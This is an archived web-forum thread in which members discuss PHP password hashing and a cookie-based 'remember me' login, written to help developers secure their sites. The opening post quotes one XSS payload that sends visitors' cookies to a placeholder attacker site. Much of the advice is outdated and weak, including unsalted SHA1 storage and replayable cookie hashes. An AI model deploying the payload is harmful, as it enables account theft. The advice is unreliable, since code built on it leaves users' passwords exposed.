Reply
Tip: Passwords (Security, 'Remember Me')
Old 04-07-2006, 11:57 AM Tip: Passwords (Security, 'Remember Me')
Christopher's Avatar
Iced Cap

Posts: 3,113
Location: Toronto, Ontario
Trades: 0
We've all made some sort of user system before. All user systems have some method of authentication, and usually this means entering a username and a password. In this thread I'm going to highlight ways to keep passwords as secure as possible, and outline a simple technique for a 'remember me' feature.

Note: Throughout this post, the code examples will all be using the SHA1 hash function and all database actions are using PEAR::DB (link | docs). Pretend a mySQL database connection has already been initiated and the object is assigned to the $DB variable.

What needs securing?
So the first question is: what needs securing, and why? Well, passwords of course! Here are two rules that new developers break all the time:
  • Passwords stored in the database should always be hashed
  • Passwords stored on the client side should always be a hash of the password hash, and a randomly generated salt.
First, what is a hash? To put it into simplest terms, it takes a variable length of data and converts it into fixed length data, often this conversion is said to be irreversible (unless through bruteforce cracking). In our use, this means turning a user's password into a fixed length string that no one can read, including the crackers. For example the 6 character password "moomoo" has a 40 character SHA1 hash of: 8a9dd5e0dc67c1b9115692b6f5b88d8751e3cdc8.

And what is a salt? In our case it's simply a random bit of text that we'll use to further secure our passwords when storing them on the client side. We re-hash the already hashed password with the random, end-user-unknowing salt to make it even harder for a cracker to crack the password. We'll talk more about salts in a minute. An example of a salt might be something like "sd*&4hjf$@" (yes, it really should be completely random!).

Now on to the why: For safety. There are untold circumstances if something were to happen to your site and a cracker got hold of your users passwords. For example, many users use the same password for many different sites. If the cracker got the password that, say, "BlueIce" used on your site he might get lucky and also gain access to "blueice@hotmail.com" etc. If this were to happen, it might even bring down some legal ramifications on you for not taking the steps to secure the information you collect.


How do I secure my passwords on my server?

So now you know that you should be storing hashed passwords in your database and not plaintext passwords, you want to know how it's done. Easy! PHP has two popular hash functions built in, MD5 and SHA1 (throughout this post we'll be using SHA1).

When a user signs up, you simply have to apply the hash function to the password before you enter it into your database:

PHP Code:
$username $_POST['username'];
$password sha1($_POST['password']);

$DB->query('INSERT INTO users (username, password) VALUES (?, ?)', array($username$password)); 
So each user in the database now has a plaintext username, but a nicely hashed password that no one can read! Database administrators can't read it, so users can feel safe, and if your server is ever compromised, then the crackers can't read it either. This simple step of hashing the password has already paid off.

"But wait!" I can hear you say, "how do I authenticate user's logging in if I don't know their password?". Since you cannot check a user's login password (which would normally be in plaintext) against the hashed database password, you have to hash the inputted password and then compare the two. So you are no longer doing ($input == $stored), but (sha1($input) == $stored):

PHP Code:
$username $_POST['username'];
$password sha1($_POST['password']);

/* Hash the input password and check it against
   the already hashed password stored in the database.
   
   Since both passwords are hashed using the same hash
   function, the two passwords will match if the user
   enteres the correct password
*/

$user $DB->getRow('SELECT * FROM users WHERE username=? AND password=?', array($username$password));

if(!
$user)
    die(
'Sorry, incorrect username or password.'); 
How do I created a 'Remember Me' feature?
To create a 'Remember Me' feature on your website, you just have to store the user's login credentials inside of a cookie on their machine. When they visit your site, you should automatically check for the login data inside of a cookie and if it exists, process it to see if it is correct.

This introduces the reason for using a salt: you don't want to give away a user's real hashed password and store it in a cookie. You know that hashed passwords are unreadable and can never be restored to their pre-hashed state -- so why does it matter? You could just fling the password hash in the hackers face and walk away laughing... couldn't you? The answer is, not really. While hashing the passwords you deal is a very good security technique, it doesn't mean you can become careless. Easy passwords like the "moomoo" example we discussed earlier are very easy to crack for a number of reasons: it's all lowercase, it's only 6 characters, all characters are letters and "moo" is a dictionary word. All of those factors make it an easy password for a cracker to crack. He does this by simply trying combination after combination and comparing it against a password hash he already has. There are also public services that store thousands of pre-cracked strings so a cracker might get lucky and find a password even faster.

Since we can't (or choose not to) enforce our users to enter 16 character, alphanumeric, mixed case passwords -- we should add another layer of security.

You might be thinking about why we need this extra bit of security. It's not like a user is going to go into their cookies and give out their passwords, even if they are hashed, right? Yeah, probably. But you never know what might happen. What if, due to some error in your code, you allow a cracker to publish an XSS attack on one of your popular pages and he reads a bunch of those user's passwords and stores them in some database of his? Like this:
Code:
<img src="logo.gif" width="1" height="1" onload="window.location='http://cracker-site.com/save?cookie='+document.cookie" /> Hi guys, I'm new to your site!
Now he has a database of say, 500 users, and at least one of those is bound to have an easy password.

To further reduce the chances of a cleartext password ever getting out, you give your user's a salted password instead. Essentially, you give them this:
sha1( sha1(password_hash) . sha1(salt) )
The random salt at the end makes it impossible to check passwords against a dictionary, dramatically increasing the time it takes to crack a password that it pretty much makes trying not worth it.

So lets put this into practice. We already have some login code above, let's expand it to set a 'remember me cookie':
PHP Code:
$username $_POST['username'];
$password sha1($_POST['password']);

/* Hash the input password and check it against
   the already hashed password stored in the database.
   
   Since both passwords are hashed using the same hash
   function, the two passwords will match if the user
   enteres the correct password
*/

$user $DB->getRow('SELECT * FROM users WHERE username=? AND password=?', array($username$password));

if(!
$user)
    die(
'Sorry, incorrect username or password.');
    
// Did this user check that 'remember me' checkbox?
if($_POST['remember_me'])
{
    
$expire time() + 1728000// Expire in 20 days
    
$cookie_pass sha1sha1($user['password']) . sha1($user['salt']) );
    
    
setcookie('user'$user['username'], $expire);
    
setcookie('pass'$cookie_pass$expire);

Now the password is as safe as it'll ever be. Through spyware, viruses, XSS attacks or browser exploits -- that password is going to stay obscure! To auto-login the user, just include some code somewhere on your page that checks for those cookie values. If they exist you have to fetch the user information for the username specified in the cookie (so you can get the salt), then re-create the correct salted-hashed-password and compare it with the password in the cookie:
PHP Code:
if(isset($_COOKIE['user'], $_COOKIE['pass']))
{
    
$user $DB->getRow('SELECT * FROM users WHERE username=?'$_COOKIE['user']);
    
    if(
$user)
    {
        
$check_pass sha1sha1($user['password']) . sha1($user['salt']) );
        
        if(
$check_pass == $_COOKIE['pass'])
        {
            
// The user should be logged in
        
}
    }

Just remember to generate a unique, random salt when a user registers!
Christopher is offline
Reply With Quote
View Public Profile Visit Christopher's homepage!
 
 
When You Register, These Ads Go Away!
Old 01-05-2007, 01:48 AM Re: Tip: Passwords (Security, 'Remember Me')
Novice Talker

Posts: 8
Trades: 0
if a visitor want to clear "remember me " feature, he just need to clear the cookies, am i right ? in your example the cookies expired time is 20 days, so it means in the next 20 days if i using same computer with different IP i still able to access right ?

thanks
cnun is offline
Reply With Quote
View Public Profile Visit cnun's homepage!
 
Old 01-05-2007, 02:35 AM Re: Tip: Passwords (Security, 'Remember Me')
metho's Avatar
Ultra Talker

Posts: 346
Trades: 0
Cookies are evil and should never be used for user authentication in any serious web app. Too many users share their computer account with co-workers or family members and friends. This happens in internet cafe's too, whereby savvy users will go back through a previous customer's browser history and check for pre-authenticated web accounts they can get into.

Use sessions and sessions only. Use cookies if security isn't an issue.
metho is offline
Reply With Quote
View Public Profile
 
Old 11-18-2007, 11:24 AM Re: Tip: Passwords (Security, 'Remember Me')
Arenlor's Avatar
Ultra Talker

Posts: 463
Name: Jerod Lycett
Location: /home/arenlor
Trades: 0
Sweet, had always wondered about how they could steal a cookie.
Arenlor is offline
Reply With Quote
View Public Profile Visit Arenlor's homepage!
 
Old 11-22-2007, 05:55 AM Re: Tip: Passwords (Security, 'Remember Me')
mtishetsky's Avatar
King Spam Talker

Posts: 1,163
Name: Mike
Location: Mataro, Spain
Trades: 0
Quote:
Originally Posted by metho View Post
Cookies are evil and should never be used for user authentication in any serious web app. Too many users share their computer account with co-workers or family members and friends. This happens in internet cafe's too, whereby savvy users will go back through a previous customer's browser history and check for pre-authenticated web accounts they can get into.

Use sessions and sessions only. Use cookies if security isn't an issue.
Do you understand how sessions work? It seems to me that you don't.
__________________
mtishetsky is offline
Reply With Quote
View Public Profile Visit mtishetsky's homepage!
 
Old 01-31-2008, 03:27 PM Re: Tip: Passwords (Security, 'Remember Me')
JeremyMiller's Avatar
Full-Time TeraTasker

Posts: 1,463
Name: Jeremy Miller
Location: Marianna, FL
Trades: 0
when I write remember me features, I never include the username and password in so obvious a fashion -- hell, what if they change their password? -- and, why would I want to offer up the username? What I do instead is create a remember me cookie of a form similar to this:

PHP Code:
$_COOKIE['remember_me'] = $salt1.':'.$user_id.':'.sha1($alt_user_id.$salt2.$salt1); 
where $salt1 != $salt2 and $salt2 is constant for the system. $alt_user_id is a value generated and stored in the db under the user_id and is never displayed to the user. Then, to process, I extract the $user_id, fetch the $alt_user_id from the database, check that the hash value is equivalent and if all matches, set the session variables for logging in.

With the method described above, the only vital information exposed to anyone reading cookies is a database user_id. Why expose only that? Because with the username exposed, then brute-force hack attempts could be performed to guess the user's password, but I never create logins where they enter their db user_id.

For cancelling the remember me feature, I add that to logout b/c if you're logging out, then you clearly don't want to be logged in. That logout script just clears the remember_me cookie and cancels the session.
__________________
Jeremy Miller - TeraTask
Content Farmer - Automated Posting for Content & Blog Sites
JeremyMiller is offline
Reply With Quote
View Public Profile Visit JeremyMiller's homepage!
 
Old 02-19-2008, 09:33 AM Re: Tip: Passwords (Security, 'Remember Me')
AdobongKangkong's Avatar
Novice Talker

Posts: 6
Trades: 0
Sweet... why i should have not known this site a little earlier..
AdobongKangkong is offline
Reply With Quote
View Public Profile
 
Old 02-19-2008, 10:35 AM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,513
Name: Dan
Location: Swindon
Trades: 0
Wow helpful thread.

I recently implemented a remember me feature, and now im just thinking how easy it could be if any of the people i give access to the admin panel are not quiet web savvy...

at the moment, i have it set three cookies user, user id, rank (users level defines if admin or whatever)

and then a if session not set but cookie is reset session (and transfer cookie vars to sessions

How could i tighten security for this?

you can see some of the code here: http://www.webmaster-talk.com/php-fo...king-cant.html
(this problem on the thread has been fixed now )

Thanks,
Dan
__________________
Discounted Web Hosting With XDnet!
>> Get 25% of hosting~ Promo: Webmaster-talk <<
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-19-2008, 09:18 PM Re: Tip: Passwords (Security, 'Remember Me')
mgraphic's Avatar
Truth Seeker

Latest Blog Post:
Converting Video For YouTube
Posts: 2,544
Name: Keith Marshall
Location: West Hartford, CT
Trades: 0
It always best to pass the minimum amount of data possible to prevent malicious users to edit (such as rank). You could pass user id and a hash of the salt and once validated, use your database data to fill in the blanks for the users info.
__________________

<mgraphic /> - I don't have a solution but I admire the problem.
mgraphic is offline
Reply With Quote
View Public Profile
 
Old 02-19-2008, 09:52 PM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,513
Name: Dan
Location: Swindon
Trades: 0
So it would be fine to keep the rank in a session, and have in the if session not set but cookie is statement just have it query the db to get the rank yes?

dan
__________________
Discounted Web Hosting With XDnet!
>> Get 25% of hosting~ Promo: Webmaster-talk <<
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-19-2008, 10:02 PM Re: Tip: Passwords (Security, 'Remember Me')
mgraphic's Avatar
Truth Seeker

Latest Blog Post:
Converting Video For YouTube
Posts: 2,544
Name: Keith Marshall
Location: West Hartford, CT
Trades: 0
I personally use client-side cookies for one of these three types of tasks:
1) Validating a user.
2) Storing a user preference setting that would go beyond a single session or login.
3) Storing user visitation data that would go beyond a single session or login (mostly used for javascript application).
__________________

<mgraphic /> - I don't have a solution but I admire the problem.
mgraphic is offline
Reply With Quote
View Public Profile
 
Old 02-19-2008, 10:22 PM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,513
Name: Dan
Location: Swindon
Trades: 0
Ok.

i think what i have is more secure now anyways...
__________________
Discounted Web Hosting With XDnet!
>> Get 25% of hosting~ Promo: Webmaster-talk <<
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-20-2008, 02:57 AM Re: Tip: Passwords (Security, 'Remember Me')
Average Talker

Posts: 20
Name: Corrie
Trades: 0
Brilliant Thank U
It Helped...
__________________
http://awhost.0lx.net
The Ultimate Free Host Site
Php, 300 MB disk space, 8 GB Monthly transfer, 5 MySQL databases + MORE
awhost.0lx.net is offline
Reply With Quote
View Public Profile
 
Old 05-23-2008, 08:28 AM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,513
Name: Dan
Location: Swindon
Trades: 0
1) Dont Hijack threads
2) necroposters are not apprieciated... this thread is 3 months old and your post doesnt add to it.

Start your own

Dan
__________________
Discounted Web Hosting With XDnet!
>> Get 25% of hosting~ Promo: Webmaster-talk <<
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 05-26-2008, 09:42 AM Re: Tip: Passwords (Security, 'Remember Me')
SEO Specialist

Posts: 609
Trades: 0
well, one informative thread for PHP. I'm not good in PHP but want to learn . . .
full house is offline
Reply With Quote
View Public Profile Visit full house's homepage!
 
Old 09-17-2008, 09:20 AM Re: Tip: Passwords (Security, 'Remember Me')
ndr
ndr's Avatar
Novice Talker

Posts: 9
Name: Andrea
Location: Italy
Trades: 0
Good how-to, but with a small flaw: you don't say or show in the code where the random salts are stored.

I think you meant them to be stored in the database, along with usernames and hashed passwords. While that's a good technique for protecting the hashed passwords stored in the user's cookies, it should be noted that if a cracker gets hold of the DB, salts not only become ineffective but might actually help the cracker find the user's password.

Bottom line: do use salts, but make darn sure you did everything in your power to prevent the bad guys from seeing the DB!
__________________
UndeadLinks.com - help surfers find your pages after an address change!
Free and ad-free!
ndr is offline
Reply With Quote
View Public Profile Visit ndr's homepage!
 
Old 09-19-2008, 07:12 PM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,513
Name: Dan
Location: Swindon
Trades: 0
Quote:
Originally Posted by ndr View Post
Good how-to, but with a small flaw: you don't say or show in the code where the random salts are stored.

I think you meant them to be stored in the database, along with usernames and hashed passwords. While that's a good technique for protecting the hashed passwords stored in the user's cookies, it should be noted that if a cracker gets hold of the DB, salts not only become ineffective but might actually help the cracker find the user's password.

Bottom line: do use salts, but make darn sure you did everything in your power to prevent the bad guys from seeing the DB!
Erm... duh.

And i dont think the explination was aimed at a guide for PHP its to show how to be secure...
__________________
Discounted Web Hosting With XDnet!
>> Get 25% of hosting~ Promo: Webmaster-talk <<
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 09-19-2008, 08:13 PM Re: Tip: Passwords (Security, 'Remember Me')
ndr
ndr's Avatar
Novice Talker

Posts: 9
Name: Andrea
Location: Italy
Trades: 0
Quote:
Originally Posted by dansgalaxy View Post
Erm... duh.
Not that obvious, if you consider that the whole storage of the hashed passwords in the DB is done for the sole purpose of hiding them from a cracker who gets hold of the DB.

The point is: don't assume they're safe just because they're hashed. Also: the presence of the salt in the DB also undoes the added security layer that the salt provided, in case the DB is stolen - there's no escape from that.

This is not to say that the tips given in the original post aren't worthy, quite the opposite.
__________________
UndeadLinks.com - help surfers find your pages after an address change!
Free and ad-free!
ndr is offline
Reply With Quote
View Public Profile Visit ndr's homepage!
 
Old 09-20-2008, 09:06 PM Re: Tip: Passwords (Security, 'Remember Me')
JeremyMiller's Avatar
Full-Time TeraTasker

Posts: 1,463
Name: Jeremy Miller
Location: Marianna, FL
Trades: 0
Quote:
Originally Posted by ndr View Post
Not that obvious, if you consider that the whole storage of the hashed passwords in the DB is done for the sole purpose of hiding them from a cracker who gets hold of the DB.

The point is: don't assume they're safe just because they're hashed. Also: the presence of the salt in the DB also undoes the added security layer that the salt provided, in case the DB is stolen - there's no escape from that.

This is not to say that the tips given in the original post aren't worthy, quite the opposite.
This is a bit misguided. Passwords are hashed for security. They are stored in a database for easy, rapid access without file locking errors. Salts should come in pairs: 1 for stored in a file somewhere (say, the configuration file) and a second which is in the database. Both should be very long for added security and randomly generated. I usually make the file-based one global and the database-based one unique to the user, though both unique to the user is more secure.

With 1/2 of the hash in the database, cracking only becomes slightly easier, but is still as difficult as had you used 1 seed for all users. The reason you want a pair of seeds is that if 1 seed is used for all users, then that's a useful bit of information for hacking and can speed things up significantly (remember, when hacking a hash, you're not necessarily looking for the password, but a password which will result in the same hash value), but if you use a seed unique to the user, then there is no additional data one can garner from one hash to help in deciphering another hash and tying both of these together, we get the separation of data from the database and file system of the shared seed with the uniqueness and data uncorruptibility we need with the user-specific, database-stored seed.

With such a setup, should both your database and server be hacked, then the user has a much better chance of hacking via a dictionary attack, but it would require both of those to be hacked in order to have this advantage. For added security (and complexity), you could have the seeds stored on a separate server altogether and accessed via ODBC, but even then, by hacking your file system and/or database server, the ODBC connection could be re-established and subsequently hacked.

It is also prudent to use multiple hashing functions when storing a value (e.g. apply SHA512, MD5, SHA1, SHA512 and store the resultant value) and change the order of the seed placement during hashing.
__________________
Jeremy Miller - TeraTask
Content Farmer - Automated Posting for Content & Blog Sites
JeremyMiller is offline
Reply With Quote
View Public Profile Visit JeremyMiller's homepage!
 
Old 09-24-2008, 07:51 PM Re: Tip: Passwords (Security, 'Remember Me')
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 6,513
Name: Dan
Location: Swindon
Trades: 0
Nice post Jeremy...

If you dont already have a blog, if your interested i am interested in blogers for XDnet.co.uk/blog which can post good stuff like you said above
Thanks

Dan

PS. Tried to Give you TP for that post (deserves it) but have to spready it arround first
__________________
Discounted Web Hosting With XDnet!
>> Get 25% of hosting~ Promo: Webmaster-talk <<
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Reply     « Reply to Tip: Passwords (Security, 'Remember Me')

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML

 



Page generated in 0.24437 seconds with 13 queries